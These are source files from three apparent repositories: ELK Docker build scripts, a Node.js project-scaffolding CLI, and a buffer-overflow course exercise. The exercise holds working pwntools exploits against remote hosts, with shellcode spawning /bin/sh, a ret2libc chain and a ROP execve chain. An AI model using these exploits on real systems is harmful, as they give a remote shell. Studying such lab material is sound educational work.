894e96e7d051bdb9e2d4b2ae46a8d5dd078cc438
ee00379bda98c3254134a380478f37355314e75a
refs/heads/main
<file_sep># gb_elk Dockerfiles for ELK stack on Centos 7 <file_sep>#!/bin/bash sudo docker build -t kibana:7.10.0 -f Dockerfile_kb_7_10 . echo "Done" <file_sep>#!/bin/bash sudo docker build -t logstash:7.10.0 -f Dockerfile_ls_7_10 . echo "Done" <file_sep>#!/bin/bash sudo docker build -t elasticsearch:7.10.0 -f Dockerfile_es_7_10 . echo "Done" <file_sep>#!/bin/bash sudo docker build -t filebeat:7.10.0 -f Dockerfile_fb_7_10 . echo "Done"
dbf9b07783ca8768ddc2dfbc745b657a2766d002
[ "Markdown", "Shell" ]
5
Markdown
gmbugg/gb_elk
0a2d209b3194a114eded6fd3e3a29a256dd2e0f4
233239728fb6dfb30db2b52347db198f963244a3
refs/heads/master
<repo_name>mrhuangjing/wbcmd<file_sep>/lib/init.js const path = require('path'); const inquirer = require('inquirer'); const util = require('./util'); const download = require('download-git-repo'); const chalk = require('chalk'); const error = chalk.bold.red; const warning = chalk.yellow; const log = console.log; function getTask () { const questions = [{ type: 'input', name: 'taskName', message: '请输入项目名称' }]; return inquirer.prompt(questions); } async function confirm (taskName) { const infos = [{ type: 'confirm', name: 'isOk', message: `确认将项目名称设为${taskName}` }]; return inquirer.prompt(infos); } // 获取页面类型 单页/多页 function getAppType () { const questions = [{ type: 'list', name: 'appType', choices: [{ name: '单页', value: 'single' }, { name: '多页', value: 'multiple' }], message: '请选择应用类型' }]; return inquirer.prompt(questions); } function downloadGitRepo (taskName, appType) { return new Promise((resolve, reject) => { const branch = appType === 'single' ? 'single' : 'multiple'; download(`mrhuangjing/wbcmd_template#${branch}`, `projects/${taskName}`, function (err) { if (err) { reject(err); } else { resolve(); } }); }); } async function createTask (taskName, appType) { try { await downloadGitRepo(taskName, appType); log(chalk.green('✓️ 项目创建成功 ')); } catch (e) { log(error('项目创建失败,失败原因: ', e)); } } async function initInquirer (taskName) { taskName = taskName || (await getTask()).taskName; if (!taskName) { initInquirer(); return; } const dirPath = path.resolve('./projects', taskName); if (util.fsExistsSync(dirPath)) { log(warning('项目名已存在,请更换项目名称')); return; } const {isOk} = await confirm(taskName); if (isOk) { const {appType} = await getAppType(); createTask(taskName, appType); } else { log(chalk.white('放弃操作')); } } module.exports = (taskName) => { const curPath = path.resolve('./'); const inter = curPath.indexOf('\\') != -1 ? '\\' : '/'; const folderName = curPath.split(inter).reverse()[0]; if (folderName == 'wbcmd_apps') { initInquirer(taskName); } else { log(warning('请在wbcmd_apps目录下新建项目')); } };<file_sep>/bin/wbcmd.js #!/usr/bin/env node const program = require('commander'); const init = require('../lib/init'); const serve = require('../lib/serve'); const build = require('../lib/build'); const testing = require('../lib/testing'); program .version(require('../package').version, '-v, --version') .usage('<command> [options]'); program.command('init [task]') .description('初始化一个新项目') .action((...args) => { init.apply(null, args); }); program.command('serve') .option('-d, --debug', 'output extra debugging') .description('本机起服务调试代码') .action((cmdObj) => { serve(cmdObj.debug); }); program.command('build') .description('生产环境代码打包') .action((...args) => { build.apply(null, args); }); program.command('test') .description('单元测试') .action(() => { testing(); }); program.parse(process.argv);<file_sep>/README.md # wbcmd `wbcmd`是前端cli工具 # 安装 ```bash $ wnpm install -g wbcmd ``` # 说明 `wbcmd`封装了四个方法,用于项目的创建、启动、打包、测试。 ### wbcmd init [projectName] `wbcmd init`将在`wbcmd_apps/projects/`下创建名为`projectName`的项目,自动同步github上`mrhuangjing/wbcmd_template`库的最新模板代码,用于项目工程的生成。 ### wbcmd serve `wbcmd serve`用于在本机启动服务,默认`8080`端口,也可通过`wbcmd.config.js`指定别的端口。 * -d --debug 输出调试信息 ### wbcmd build `wbcmd build`打包生成dist文件夹,会自动完成tree-shaking、代码压缩和混淆。 ### wbcmd test `wbcmd test`是单元测试命令,`wbcmd`集成了开源测试库`jest`,通过该指令,可以运行当前项目下的单元测试。<file_sep>/lib/util.js const fs = require('fs'); const path = require('path'); function fsExistsSync (path) { try { fs.accessSync(path, fs.F_OK); } catch(e) { return false; } return true; } function fileWrite (dirPath, content) { return new Promise((resolve, reject) => { fs.writeFile(dirPath, content, err => { if (err) { reject(err); } resolve(); }); }); } function fileRead (dirPath) { return new Promise((resolve, reject) => { fs.readFile(dirPath, (err, data) => { if (err) { reject(err); } resolve(data.toString()); }); }); } function dirRead (dirPath) { return new Promise((resolve, reject) => { fs.readdirSync(dirPath, (err, files) => { if (err) { reject(err); } resolve(files); }); }); } function delDir(p) { // 读取文件夹中所有文件及文件夹 var list = fs.readdirSync(p) list.forEach((v, i) => { // 拼接路径 var url = p + '/' + v // 读取文件信息 var stats = fs.statSync(url) // 判断是文件还是文件夹 if (stats.isFile()) { // 当前为文件,则删除文件 fs.unlinkSync(url) } else { // 当前为文件夹,则递归调用自身 arguments.callee(url) } }) // 删除空文件夹 fs.rmdirSync(p) } function hasPath (v) { const p = path.resolve('./', `${v}`); return fsExistsSync(p); } module.exports = { fsExistsSync, fileWrite, fileRead, dirRead, hasPath, delDir };<file_sep>/lib/build.js const webpack = require('webpack'); const getWebpackConfig = require('./handleWebpackConfig.js'); const merge = require('webpack-merge'); const TerserJSPlugin = require('terser-webpack-plugin'); const OptimizeCSSAssetsPlugin = require('optimize-css-assets-webpack-plugin'); const util = require('./util'); const chalk = require('chalk'); const error = chalk.bold.red; const log = console.log; function build () { const hasWbcmdConfig = util.hasPath('wbcmd.config.js'); const hasSrc = util.hasPath('src'); if (hasWbcmdConfig && hasSrc) { if (util.hasPath('dist')) { util.delDir('dist'); } const webpackConfig = getWebpackConfig(); webpackConfig.output.publicPath = './'; if (webpackConfig) { const config = merge(webpackConfig, { mode: 'production', optimization: { splitChunks: { chunks: 'all' }, minimizer: [new TerserJSPlugin({}), new OptimizeCSSAssetsPlugin({})] } }); webpack(config, (err, stats) => { if (err || stats.hasErrors()) { log(error('build异常,错误原因: ', err)); } log(chalk.green('✓️ build完成')); }); } } else if (!hasSrc) { log(error('src目录缺失')); } else { log(error('项目配置文件wbcmd.config.js缺失')); } } module.exports = build; <file_sep>/lib/serve.js const webpack = require('webpack'); const getWebpackConfig = require('./handleWebpackConfig.js'); const WebpackDevServer = require('webpack-dev-server'); const util = require('./util'); const chalk = require('chalk'); const fs = require('fs'); const cmd = require('./cmd'); const path = require('path'); const error = chalk.bold.red; const log = console.log; let isDebug; async function serve (debug) { isDebug = debug; if (util.hasPath('wbcmd.config.js')) { const webpackConfig = getWebpackConfig(); let proxy, port, historyApiFallback; try { const fileRes = await util.fileRead(path.resolve('./wbcmd.config.js')); const re = /{[\S\s]*}/; const match = fileRes.match(re); if (match) { eval(`var obj = ${match[0]}`); proxy = obj.proxy; port = obj.port; historyApiFallback = obj.historyApiFallback; } } catch (e) { log(error('读取配置文件wbcmd.config.js失败')); return; } if (webpackConfig) { isDebug && log(chalk.yellow('传入的proxy配置 ->'), proxy || null); const server = new WebpackDevServer(webpack(webpackConfig), { contentBase: './dist', hot: true, host: 'localhost', open: true, // 打开浏览器 proxy, disableHostCheck: true, // 此配置用于绕过检查 原因:新版的webpack-dev-server出于安全考虑,默认检查hostname,如果hostname不是配置内的,将中断访问 historyApiFallback }); // 开启文件监听 watchDir('./src'); // 监听端口 server.listen(port || 8080); } } else { log(error('项目配置文件wbcmd.config.js缺失')); } } function watchDir (dir) { const arr = fs.readdirSync(dir); for (let i = 0; i < arr.length; i++) { const p = `${dir}/${arr[i]}`; const stat = fs.lstatSync(p); if (stat.isDirectory()) { isDebug && log(chalk.yellow(`访问文件夹 -> ${p}`)); watchDir(p); } else { watchFile(p); } } } function watchFile (file) { isDebug && log(chalk.yellow(`监听文件 -> ${file}`)); fs.watchFile(file, async (cur, pre) => { const size = cur.size; try { const {buffer, fd} = await openFile(file, size); const str = await readFile(fd, buffer, size); const depList = extract(str); const globalList = await getDepList(path.resolve(__dirname, '../package.json')); const localList = await getDepList(path.resolve('../../package.json')); const filterList = []; let instruction = `wnpm install --save `; for (let value of depList) { if (globalList.indexOf(value) < 0 && localList.indexOf(value) < 0) { filterList.push(value); instruction += `${value} `; } } if (isDebug) { log(chalk.yellow('全局依赖: '), globalList); log(chalk.yellow('本地依赖: '), localList); log(chalk.yellow('新增依赖: '), filterList); } if (filterList.length) { log(chalk.yellow(`检测到依赖更新,请稍等...`)); log(chalk.yellow(`正在执行: ${instruction}`)); await cmd.run([instruction]); } } catch (e) { log(error(e)); } }); } // 获取依赖列表 async function getDepList (dir) { try { const list = []; const {size} = await getFileStat(dir); const {buffer, fd} = await openFile(dir, size); const str = await readFile(fd, buffer, size); const deps = JSON.parse(str).dependencies; for (let key in deps) { list.push(key); } return list; } catch (e) { log(error(`获取依赖列表异常,${e}`)); } } function getFileStat (file) { return new Promise ((resolve, reject) => { fs.stat(file, (err, stats) => { if (err) { reject(err); return; } resolve(stats); }); }); } function extract (text) { // const reg = /import\s+[\w\$]+\s+from\s+['"]([\w\$\/@-]+)['"];?/; const reg = /(^|[\n\r]+)[^\/]*?import\s+[\w\$]+\s+from\s+['"]([\w\$\/@-]+)['"];?/; const note = /(\/\/.*([\n\r]|$))|(\/\*(\s|.)*?\*\/)/g; text = text.replace(note, ''); // 去除 单行/多行注释 干扰项 const depList = []; while (text) { const res = text.match(reg); if (res) { depList.push(res[2]); text = text.replace(reg, ''); } else { break; } } return depList; } function openFile (file, fileSize) { return new Promise ((resolve, reject) => { fs.open(file, 'r', (err, fd) => { if (err) { reject(err); return; } let buffer = Buffer.alloc(fileSize); resolve({ buffer, fd }); }); }); } function readFile (fd, buffer, fileSize) { return new Promise ((resolve, reject) => { fs.read(fd, buffer, 0, fileSize, 0, (err, bytesRead, buffer) => { if (err) { fs.close(fd); reject(err); return; } resolve(buffer.toString()); fs.close(fd); }); }); } module.exports = serve;<file_sep>/lib/testing.js const path = require('path'); const jest = require('jest'); const chalk = require('chalk'); const error = chalk.bold.red; const log = console.log; module.exports = () => { const curPath = path.resolve('./'); const inter = curPath.indexOf('\\') != -1 ? '\\' : '/'; const dirs = curPath.split(inter).reverse(); const projectName = dirs[0]; if (dirs.length >= 3 && dirs.indexOf('projects') === 1 && dirs.indexOf('wbcmd_apps') === 2) { try { jest.runCLI({'_': [projectName]}, [curPath]); } catch (e) { log(error('单元测试执行出错:', e)); } } else { log(error('请在wbcmd_apps/projects/下的项目目录中执行wbcmd test')); } };
c18c3d0fd9cc4ec7c802c0e954aa58ec7c217ac3
[ "JavaScript", "Markdown" ]
7
JavaScript
mrhuangjing/wbcmd
3e68cc42b42213d0e2c8674c6c8ff74ec408d802
8c40b361d6893d1fc15d4a5057ee77669f8b5dff
refs/heads/master
<file_sep>#!/usr/bin/env python from pwn import * context(arch = 'i386', os = 'linux') # question 2 conn = remote('172.16.58.3',11000) #receive from remote machine, until the "What's your name" conn.recvuntil("What's your name ?") # /home/bssof/flag filepath = "\x2f\x68\x6f\x6d\x65\x2f\x62\x73\x73\x6f\x66\x2f\x66\x6c\x61\x67" bufaddr = "\x60\xa0\x04\x08" payload = filepath + '\x00'*184 + bufaddr + '\n'; conn.send(payload) conn.interactive() <file_sep>#!/usr/bin/env python from pwn import * context(arch = 'i386', os = 'linux') #test for question 1 conn = remote('192.168.3.11',11001) conn.recvuntil("Read your input :") inputString = "aaaabbbbccccddddeeeeffffgggghhhh\xfd\x84\x04\x08\n"; print inputString conn.send(inputString) #after get root, we can use interactive mode, it will more convenient conn.interactive() <file_sep># BOFAttackPractice written in python Learning buffer overflow attack and gdb mode. Through these basic implementation can know more about security in program. The remote server IP provided by the course is not accessible right now. 練習BOF攻擊,在一段程式碼中找到不安全的片段,利用那個片段操控記憶體,找到Return address的位址,覆蓋該位址指向想要的地方 以前沒碰過資安,這次修課實作後真的滿有趣的!建議要有用過GDB與對組語有一點概念。 <file_sep>from pwn import * context(arch='i386', os='linux') #open libc.so.6 libc = ELF('libc.so.6') #get offset from libc.so.6 sys_offset = libc.symbols['system'] printf_offset = libc.symbols['printf'] binsh_offset = next(libc.search('/bin/sh')) #sys_addr = printf_addr - offset(printf) + offset(system) #binsh_addr = printf_addr - offset(printf) + offset(binsh) # question 5 conn = remote('172.16.17.32',11004) conn.recvuntil("Give me an address (in dec) :") #printf_got_addr = 0x0804a010 conn.send("134520848\n") conn.recvuntil("The content of the address : ") printf_addr = conn.recvline(); #remove '\n' printf_addr = printf_addr.strip('\n') print "printf address : " + printf_addr #string to int printf_addr = (int(printf_addr,16)) sys_addr = printf_addr - printf_offset + sys_offset binsh_addr = printf_addr - printf_offset + binsh_offset #int to hex sys_addr = hex(sys_addr) binsh_addr = hex(binsh_addr) print "system address : " + sys_addr print "binsh address : " + binsh_addr #hex to string sys_addr = str(sys_addr) binsh_addr = str(binsh_addr) #remove "0x" sys_addr = sys_addr.split("x")[1] binsh_addr = binsh_addr.split("x")[1] """ system """ one = sys_addr[0] + sys_addr[1] two = sys_addr[2] + sys_addr[3] three = sys_addr[4] + sys_addr[5] four = sys_addr[6] + sys_addr[7] # add '\x' xone = ('\\x' + one).decode('string_escape') xtwo = ('\\x' + two).decode('string_escape') xthree = ('\\x' + three).decode('string_escape') xfour = ('\\x' + four).decode('string_escape') sys_addr = xfour + xthree + xtwo + xone #print sys_addr.encode('hex') """ system end """ """ binsh """ one = binsh_addr[0] + binsh_addr[1] two = binsh_addr[2] + binsh_addr[3] three = binsh_addr[4] + binsh_addr[5] four = binsh_addr[6] + binsh_addr[7] # add '\x' xone = ('\\x' + one).decode('string_escape') xtwo = ('\\x' + two).decode('string_escape') xthree = ('\\x' + three).decode('string_escape') xfour = ('\\x' + four).decode('string_escape') binsh_addr = xfour + xthree + xtwo + xone #print binsh_addr.encode('hex') """ binsh end """ payload = 'a'*60 + sys_addr + 'a'*4 + binsh_addr + '\n' conn.recvuntil("Leave some message for me :") conn.send(payload) conn.interactive() <file_sep>#!/usr/bin/env python from pwn import * context(arch = 'i386', os = 'linux') # question 3 conn = remote('192.168.127.12',11002) conn.recvuntil("The buffer of your input ") buf_address = conn.recvline(); # remove '\n' buf_address = buf_address.strip('\n') # remove "0x" buf_address = buf_address.split("x")[1] one = buf_address[0] + buf_address[1] two = buf_address[2] + buf_address[3] three = buf_address[4] + buf_address[5] four = buf_address[6] + buf_address[7] # add '\x' xone = ('\\x' + one).decode('string_escape') xtwo = ('\\x' + two).decode('string_escape') xthree = ('\\x' + three).decode('string_escape') xfour = ('\\x' + four).decode('string_escape') # shellcode 55bytes shellcode = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42" # nop 45bytes overflow = '\x90'*45 # buf address 4bytes bufadd = xfour + xthree + xtwo + xone # guess 10 times buf address (40byes) will cover the eip inputString = shellcode + overflow + bufadd*10 + '\n' conn.recvuntil("Your input : ") conn.send(inputString) #after get root, we can use interactive mode, it will more convenient conn.interactive() <file_sep>#!/usr/bin/env python2 # execve generated by ROPgadget # execve("/bin//sh", NULL, NULL) # call int 0x80 # eax = 11, ebx = pointer to string "/bin/sh" # ecx = 0x0, edx = 0x0 from struct import pack # Padding goes here p = 'a'*32 # return address此時塞入了 pop edx ; ret的位址 # 程式跳到該位址開始執行此段gadget # pop會將目前stack最上方的值assign給edx # 清除該位址資料後, $esp會向下移動 # 此時stack的頂端為我們塞入的值 # 如果只是塞數字好處理, 字串的話就必須找data段的區域 # 所以要塞'/bin'和'//sh'就要找到data_start的address # pop edx來存 data+0 的address p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data # pop eax來存 '/bin' , 大小剛好4bytes p += pack('<I', 0x080bae06) # pop eax ; ret p += '/bin' # 把eax的值('/bin')寫入到 edx指的位址 (data+0) p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret # pop edx來存 data+4 的address p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 # pop eax來存 '//sh', 大小剛好4bytes p += pack('<I', 0x080bae06) # pop eax ; ret p += '//sh' # 把eax的值('//sh')寫入到 edx指的位址 (data+4) p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret # pop edx來存 data+8 的address p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 # xor eax, eax 等於 mov eax, 0 p += pack('<I', 0x08054250) # xor eax, eax ; ret # 把eax的值(0)寫入到 edx指的位址 (data+8) p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret # pop ebx來存 data+0 的address [data+0目前的值是'/bin'], ebx = &'/bin' p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data # pop ecx ebx # ecx存 data+8 的address [data+8目前的值是0], ecx = 0 # ebx存 data+0 的address, 這邊他說會padding, 不太懂 # 最後 ebx = &'/bin' + &'//sh' ? p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080ea060) # padding without overwrite ebx # pop edx來存 data+8 的 address [根據上面操作 data+8目前的值是0], edx = 0 p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 # xor eax, eax 等於 mov eax, 0 (eax=0) p += pack('<I', 0x08054250) # xor eax, eax ; ret # inc(increment), +1 # 以下總共做了11次, eax的值從0變成11, eax = 11 p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x080493e1) # int 0x80 print p
37d2a1dd07e74e431aa83b7aec9e8c946630ea82
[ "Markdown", "Python" ]
6
Python
haVincy/BOFAttackPractice
22cf3c32f31c80d083ab67ddcdddff594d582d91
4bf28e05374e4c555f9936774bc105b07f84ab68